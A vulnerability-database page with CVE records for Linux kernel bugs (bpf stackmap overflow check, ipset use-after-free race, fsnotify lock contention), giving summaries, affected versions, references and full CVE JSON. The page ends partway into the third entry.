In the Linux kernel, the following vulnerability has been resolved: bpf: Fix stackmap overflow check on 32-bit arches The stackmap code relies on roundup_pow_of_two() to compute the number of hash buckets, and contains an overflow check by checking if the resulting value is 0. However, on 32-bit arches, the roundup code itself can overflow by doing a 32-bit left-shift of an unsigned long value, which is undefined behaviour, so it is not guaranteed to truncate neatly. This was triggered by syzbot on the DEVMAP_HASH type, which contains the same check, copied from the hashtab code. The commit in the fixes tag actually attempted to fix this, but the fix did not account for the UB, so the fix only works on CPUs where an overflow does result in a neat truncation to zero, which is not guaranteed. Checking the value before rounding does not have this problem.

Severity ?

No CVSS data available.

Assigner

Linux

References

9 references

URL	Tags
https://git.kernel.org/stable/c/d0e214acc59145ce2…
https://git.kernel.org/stable/c/21e5fa4688e1a4d3d…
https://git.kernel.org/stable/c/15641007df0f0d35f…
https://git.kernel.org/stable/c/ca1f06e72dec41ae4…
https://git.kernel.org/stable/c/f06899582ccee09bd…
https://git.kernel.org/stable/c/7070b274c7866a4c5…
https://git.kernel.org/stable/c/43f798b9036491fb0…
https://git.kernel.org/stable/c/0971126c8164abe20…
https://git.kernel.org/stable/c/7a4b21250bf79eef2…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 063c722dd9d285d877e6fd499e753d6224f4c046 , < d0e214acc59145ce25113f617311aa79dda39cb3 (git) Affected: 7e3a6b820535eb395784060ae26c5af579528fa0 , < 21e5fa4688e1a4d3db6b72216231b24232f75c1d (git) Affected: 8032bf2af9ce26b3a362b9711d15f626ab946a74 , < 15641007df0f0d35fa28742b25c2a7db9dcd6895 (git) Affected: 6183f4d3a0a2ad230511987c6c362ca43ec0055f , < ca1f06e72dec41ae4f76e7b1a8a97265447b46ae (git) Affected: 6183f4d3a0a2ad230511987c6c362ca43ec0055f , < f06899582ccee09bd85d0696290e3eaca9aa042d (git) Affected: 6183f4d3a0a2ad230511987c6c362ca43ec0055f , < 7070b274c7866a4c5036f8d54fcaf315c64ac33a (git) Affected: 6183f4d3a0a2ad230511987c6c362ca43ec0055f , < 43f798b9036491fb014b55dd61c4c5c3193267d0 (git) Affected: 6183f4d3a0a2ad230511987c6c362ca43ec0055f , < 0971126c8164abe2004b8536b49690a0d6005b0a (git) Affected: 6183f4d3a0a2ad230511987c6c362ca43ec0055f , < 7a4b21250bf79eef26543d35bd390448646c536b (git) Affected: 253150830a012adfccf90afcebae8fda5b05a80f (git) Affected: 766107351731ae223ebf60ca22bdfeb47ce6acc8 (git)
Linux	Linux	Affected: 5.11 Unaffected: 0 , < 5.11 (semver) Unaffected: 4.19.311 , ≤ 4.19.* (semver) Unaffected: 5.4.273 , ≤ 5.4.* (semver) Unaffected: 5.10.214 , ≤ 5.10.* (semver) Unaffected: 5.15.153 , ≤ 5.15.* (semver) Unaffected: 6.1.83 , ≤ 6.1.* (semver) Unaffected: 6.6.23 , ≤ 6.6.* (semver) Unaffected: 6.7.11 , ≤ 6.7.* (semver) Unaffected: 6.8.2 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T00:21:05.381Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/d0e214acc59145ce25113f617311aa79dda39cb3"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/21e5fa4688e1a4d3db6b72216231b24232f75c1d"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/15641007df0f0d35fa28742b25c2a7db9dcd6895"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/ca1f06e72dec41ae4f76e7b1a8a97265447b46ae"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/f06899582ccee09bd85d0696290e3eaca9aa042d"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/7070b274c7866a4c5036f8d54fcaf315c64ac33a"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/43f798b9036491fb014b55dd61c4c5c3193267d0"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/0971126c8164abe2004b8536b49690a0d6005b0a"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/7a4b21250bf79eef26543d35bd390448646c536b"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-26883",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T15:48:22.381696Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-11T17:33:25.228Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:50:06.933Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "kernel/bpf/stackmap.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "d0e214acc59145ce25113f617311aa79dda39cb3",
              "status": "affected",
              "version": "063c722dd9d285d877e6fd499e753d6224f4c046",
              "versionType": "git"
            },
            {
              "lessThan": "21e5fa4688e1a4d3db6b72216231b24232f75c1d",
              "status": "affected",
              "version": "7e3a6b820535eb395784060ae26c5af579528fa0",
              "versionType": "git"
            },
            {
              "lessThan": "15641007df0f0d35fa28742b25c2a7db9dcd6895",
              "status": "affected",
              "version": "8032bf2af9ce26b3a362b9711d15f626ab946a74",
              "versionType": "git"
            },
            {
              "lessThan": "ca1f06e72dec41ae4f76e7b1a8a97265447b46ae",
              "status": "affected",
              "version": "6183f4d3a0a2ad230511987c6c362ca43ec0055f",
              "versionType": "git"
            },
            {
              "lessThan": "f06899582ccee09bd85d0696290e3eaca9aa042d",
              "status": "affected",
              "version": "6183f4d3a0a2ad230511987c6c362ca43ec0055f",
              "versionType": "git"
            },
            {
              "lessThan": "7070b274c7866a4c5036f8d54fcaf315c64ac33a",
              "status": "affected",
              "version": "6183f4d3a0a2ad230511987c6c362ca43ec0055f",
              "versionType": "git"
            },
            {
              "lessThan": "43f798b9036491fb014b55dd61c4c5c3193267d0",
              "status": "affected",
              "version": "6183f4d3a0a2ad230511987c6c362ca43ec0055f",
              "versionType": "git"
            },
            {
              "lessThan": "0971126c8164abe2004b8536b49690a0d6005b0a",
              "status": "affected",
              "version": "6183f4d3a0a2ad230511987c6c362ca43ec0055f",
              "versionType": "git"
            },
            {
              "lessThan": "7a4b21250bf79eef26543d35bd390448646c536b",
              "status": "affected",
              "version": "6183f4d3a0a2ad230511987c6c362ca43ec0055f",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "253150830a012adfccf90afcebae8fda5b05a80f",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "766107351731ae223ebf60ca22bdfeb47ce6acc8",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "kernel/bpf/stackmap.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.11"
            },
            {
              "lessThan": "5.11",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.311",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.273",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.214",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.153",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.83",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.23",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.7.*",
              "status": "unaffected",
              "version": "6.7.11",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.2",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.311",
                  "versionStartIncluding": "4.19.177",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.273",
                  "versionStartIncluding": "5.4.99",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.214",
                  "versionStartIncluding": "5.10.17",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.153",
                  "versionStartIncluding": "5.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.83",
                  "versionStartIncluding": "5.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.23",
                  "versionStartIncluding": "5.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.7.11",
                  "versionStartIncluding": "5.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.2",
                  "versionStartIncluding": "5.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "5.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "4.9.258",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "4.14.222",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nbpf: Fix stackmap overflow check on 32-bit arches\n\nThe stackmap code relies on roundup_pow_of_two() to compute the number\nof hash buckets, and contains an overflow check by checking if the\nresulting value is 0. However, on 32-bit arches, the roundup code itself\ncan overflow by doing a 32-bit left-shift of an unsigned long value,\nwhich is undefined behaviour, so it is not guaranteed to truncate\nneatly. This was triggered by syzbot on the DEVMAP_HASH type, which\ncontains the same check, copied from the hashtab code.\n\nThe commit in the fixes tag actually attempted to fix this, but the fix\ndid not account for the UB, so the fix only works on CPUs where an\noverflow does result in a neat truncation to zero, which is not\nguaranteed. Checking the value before rounding does not have this\nproblem."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:06:07.883Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/d0e214acc59145ce25113f617311aa79dda39cb3"
        },
        {
          "url": "https://git.kernel.org/stable/c/21e5fa4688e1a4d3db6b72216231b24232f75c1d"
        },
        {
          "url": "https://git.kernel.org/stable/c/15641007df0f0d35fa28742b25c2a7db9dcd6895"
        },
        {
          "url": "https://git.kernel.org/stable/c/ca1f06e72dec41ae4f76e7b1a8a97265447b46ae"
        },
        {
          "url": "https://git.kernel.org/stable/c/f06899582ccee09bd85d0696290e3eaca9aa042d"
        },
        {
          "url": "https://git.kernel.org/stable/c/7070b274c7866a4c5036f8d54fcaf315c64ac33a"
        },
        {
          "url": "https://git.kernel.org/stable/c/43f798b9036491fb014b55dd61c4c5c3193267d0"
        },
        {
          "url": "https://git.kernel.org/stable/c/0971126c8164abe2004b8536b49690a0d6005b0a"
        },
        {
          "url": "https://git.kernel.org/stable/c/7a4b21250bf79eef26543d35bd390448646c536b"
        }
      ],
      "title": "bpf: Fix stackmap overflow check on 32-bit arches",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-26883",
    "datePublished": "2024-04-17T10:27:39.036Z",
    "dateReserved": "2024-02-19T14:20:24.185Z",
    "dateUpdated": "2026-05-12T11:50:06.933Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-39503 (GCVE-0-2024-39503)

Vulnerability from cvelistv5 – Published: 2024-07-12 12:20 – Updated: 2026-05-12 11:55

Title

netfilter: ipset: Fix race between namespace cleanup and gc in the list:set type

Summary

In the Linux kernel, the following vulnerability has been resolved: netfilter: ipset: Fix race between namespace cleanup and gc in the list:set type Lion Ackermann reported that there is a race condition between namespace cleanup in ipset and the garbage collection of the list:set type. The namespace cleanup can destroy the list:set type of sets while the gc of the set type is waiting to run in rcu cleanup. The latter uses data from the destroyed set which thus leads use after free. The patch contains the following parts: - When destroying all sets, first remove the garbage collectors, then wait if needed and then destroy the sets. - Fix the badly ordered "wait then remove gc" for the destroy a single set case. - Fix the missing rcu locking in the list:set type in the userspace test case. - Use proper RCU list handlings in the list:set type. The patch depends on c1193d9bbbd3 (netfilter: ipset: Add list flush to cancel_gc).

Severity ?

No CVSS data available.

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/c0761d1f1ce1d5b85…
https://git.kernel.org/stable/c/93b53c202b51a69e4…
https://git.kernel.org/stable/c/0f1bb77c6d837c951…
https://git.kernel.org/stable/c/390b353d1a1da3e9c…
https://git.kernel.org/stable/c/2ba35b37f780c6410…
https://git.kernel.org/stable/c/90ae20d47de602198…
https://git.kernel.org/stable/c/4e7aaa6b82d63e8dd…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: c7f2733e5011bfd136f1ca93497394d43aa76225 , < c0761d1f1ce1d5b85b5e82bbb714df12de1aa8c3 (git) Affected: a24d5f2ac8ef702a58e55ec276aad29b4bd97e05 , < 93b53c202b51a69e42ca57f5a183f7e008e19f83 (git) Affected: c2dc077d8f722a1c73a24e674f925602ee5ece49 , < 0f1bb77c6d837c9513943bc7c08f04c5cc5c6568 (git) Affected: 653bc5e6d9995d7d5f497c665b321875a626161c , < 390b353d1a1da3e9c6c0fd14fe650d69063c95d6 (git) Affected: b93a6756a01f4fd2f329a39216f9824c56a66397 , < 2ba35b37f780c6410bb4bba9c3072596d8576702 (git) Affected: 97f7cf1cd80eeed3b7c808b7c12463295c751001 , < 90ae20d47de602198eb69e6cd7a3db3420abfc08 (git) Affected: 97f7cf1cd80eeed3b7c808b7c12463295c751001 , < 4e7aaa6b82d63e8ddcbfb56b4fd3d014ca586f10 (git) Affected: 970709a67696b100a57b33af1a3d75fc34b747eb (git)
Linux	Linux	Affected: 6.8 Unaffected: 0 , < 6.8 (semver) Unaffected: 5.4.279 , ≤ 5.4.* (semver) Unaffected: 5.10.221 , ≤ 5.10.* (semver) Unaffected: 5.15.162 , ≤ 5.15.* (semver) Unaffected: 6.1.95 , ≤ 6.1.* (semver) Unaffected: 6.6.35 , ≤ 6.6.* (semver) Unaffected: 6.9.6 , ≤ 6.9.* (semver) Unaffected: 6.10 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T21:56:23.434Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/c0761d1f1ce1d5b85b5e82bbb714df12de1aa8c3"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/93b53c202b51a69e42ca57f5a183f7e008e19f83"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/0f1bb77c6d837c9513943bc7c08f04c5cc5c6568"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/390b353d1a1da3e9c6c0fd14fe650d69063c95d6"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/2ba35b37f780c6410bb4bba9c3072596d8576702"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/90ae20d47de602198eb69e6cd7a3db3420abfc08"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/4e7aaa6b82d63e8ddcbfb56b4fd3d014ca586f10"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-39503",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T17:07:04.128981Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-11T17:34:40.232Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:55:36.367Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/netfilter/ipset/ip_set_core.c",
            "net/netfilter/ipset/ip_set_list_set.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "c0761d1f1ce1d5b85b5e82bbb714df12de1aa8c3",
              "status": "affected",
              "version": "c7f2733e5011bfd136f1ca93497394d43aa76225",
              "versionType": "git"
            },
            {
              "lessThan": "93b53c202b51a69e42ca57f5a183f7e008e19f83",
              "status": "affected",
              "version": "a24d5f2ac8ef702a58e55ec276aad29b4bd97e05",
              "versionType": "git"
            },
            {
              "lessThan": "0f1bb77c6d837c9513943bc7c08f04c5cc5c6568",
              "status": "affected",
              "version": "c2dc077d8f722a1c73a24e674f925602ee5ece49",
              "versionType": "git"
            },
            {
              "lessThan": "390b353d1a1da3e9c6c0fd14fe650d69063c95d6",
              "status": "affected",
              "version": "653bc5e6d9995d7d5f497c665b321875a626161c",
              "versionType": "git"
            },
            {
              "lessThan": "2ba35b37f780c6410bb4bba9c3072596d8576702",
              "status": "affected",
              "version": "b93a6756a01f4fd2f329a39216f9824c56a66397",
              "versionType": "git"
            },
            {
              "lessThan": "90ae20d47de602198eb69e6cd7a3db3420abfc08",
              "status": "affected",
              "version": "97f7cf1cd80eeed3b7c808b7c12463295c751001",
              "versionType": "git"
            },
            {
              "lessThan": "4e7aaa6b82d63e8ddcbfb56b4fd3d014ca586f10",
              "status": "affected",
              "version": "97f7cf1cd80eeed3b7c808b7c12463295c751001",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "970709a67696b100a57b33af1a3d75fc34b747eb",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/netfilter/ipset/ip_set_core.c",
            "net/netfilter/ipset/ip_set_list_set.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "6.8"
            },
            {
              "lessThan": "6.8",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.279",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.221",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.162",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.95",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.35",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.9.*",
              "status": "unaffected",
              "version": "6.9.6",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.10",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.279",
                  "versionStartIncluding": "5.4.269",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.221",
                  "versionStartIncluding": "5.10.210",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.162",
                  "versionStartIncluding": "5.15.149",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.95",
                  "versionStartIncluding": "6.1.79",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.35",
                  "versionStartIncluding": "6.6.18",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9.6",
                  "versionStartIncluding": "6.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10",
                  "versionStartIncluding": "6.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "6.7.6",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: ipset: Fix race between namespace cleanup and gc in the list:set type\n\nLion Ackermann reported that there is a race condition between namespace cleanup\nin ipset and the garbage collection of the list:set type. The namespace\ncleanup can destroy the list:set type of sets while the gc of the set type is\nwaiting to run in rcu cleanup. The latter uses data from the destroyed set which\nthus leads use after free. The patch contains the following parts:\n\n- When destroying all sets, first remove the garbage collectors, then wait\n  if needed and then destroy the sets.\n- Fix the badly ordered \"wait then remove gc\" for the destroy a single set\n  case.\n- Fix the missing rcu locking in the list:set type in the userspace test\n  case.\n- Use proper RCU list handlings in the list:set type.\n\nThe patch depends on c1193d9bbbd3 (netfilter: ipset: Add list flush to cancel_gc)."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:21:48.286Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/c0761d1f1ce1d5b85b5e82bbb714df12de1aa8c3"
        },
        {
          "url": "https://git.kernel.org/stable/c/93b53c202b51a69e42ca57f5a183f7e008e19f83"
        },
        {
          "url": "https://git.kernel.org/stable/c/0f1bb77c6d837c9513943bc7c08f04c5cc5c6568"
        },
        {
          "url": "https://git.kernel.org/stable/c/390b353d1a1da3e9c6c0fd14fe650d69063c95d6"
        },
        {
          "url": "https://git.kernel.org/stable/c/2ba35b37f780c6410bb4bba9c3072596d8576702"
        },
        {
          "url": "https://git.kernel.org/stable/c/90ae20d47de602198eb69e6cd7a3db3420abfc08"
        },
        {
          "url": "https://git.kernel.org/stable/c/4e7aaa6b82d63e8ddcbfb56b4fd3d014ca586f10"
        }
      ],
      "title": "netfilter: ipset: Fix race between namespace cleanup and gc in the list:set type",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-39503",
    "datePublished": "2024-07-12T12:20:36.299Z",
    "dateReserved": "2024-06-25T14:23:23.752Z",
    "dateUpdated": "2026-05-12T11:55:36.367Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-47660 (GCVE-0-2024-47660)

Vulnerability from cvelistv5 – Published: 2024-10-09 14:02 – Updated: 2026-05-12 11:58

Title

fsnotify: clear PARENT_WATCHED flags lazily

Summary

In the Linux kernel, the following vulnerability has been resolved: fsnotify: clear PARENT_WATCHED flags lazily In some setups directories can have many (usually negative) dentries. Hence __fsnotify_update_child_dentry_flags() function can take a significant amount of time. Since the bulk of this function happens under inode->i_lock this causes a significant contention on the lock when we remove the watch from the directory as the __fsnotify_update_child_dentry_flags() call from fsnotify_recalc_mask() races with __fsnotify_update_child_dentry_flags() calls from __fsnotify_parent() happening on children. This can lead upto softlockup reports reported by users. Fix the problem by calling fsnotify_update_children_dentry_flags() to set PARENT_WATCHED flags only when parent starts watching children. When parent stops watching children, clear false positive PARENT_WATCHED flags lazily in __fsnotify_parent() for each accessed child.

Severity ?

No CVSS data available.

Assigner

Linux

References

6 references

URL	Tags
https://git.kernel.org/stable/c/3f3ef1d9f66b93913…
